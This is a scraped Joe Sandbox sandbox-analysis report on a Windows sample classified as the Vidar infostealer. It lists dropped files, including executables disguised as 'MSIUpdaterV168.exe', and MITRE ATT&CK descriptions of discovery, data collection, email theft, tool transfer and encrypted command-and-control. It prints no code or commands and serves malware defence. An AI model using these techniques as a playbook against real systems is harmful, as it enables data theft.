Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BRWgvKaqbg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IEGCBAAFHDHD\AEHDAK

C:\ProgramData\IEGCBAAFHDHD\BAAEHD

C:\ProgramData\IEGCBAAFHDHD\BFBGDG

C:\ProgramData\IEGCBAAFHDHD\CBGCBK

C:\ProgramData\IEGCBAAFHDHD\CGIDAA

C:\ProgramData\IEGCBAAFHDHD\GCBFBG

C:\ProgramData\IEGCBAAFHDHD\GIJKKK

C:\ProgramData\IEGCBAAFHDHD\JKFIDG

C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe

C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe

Windows Analysis Report
BRWgvKaqbg.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre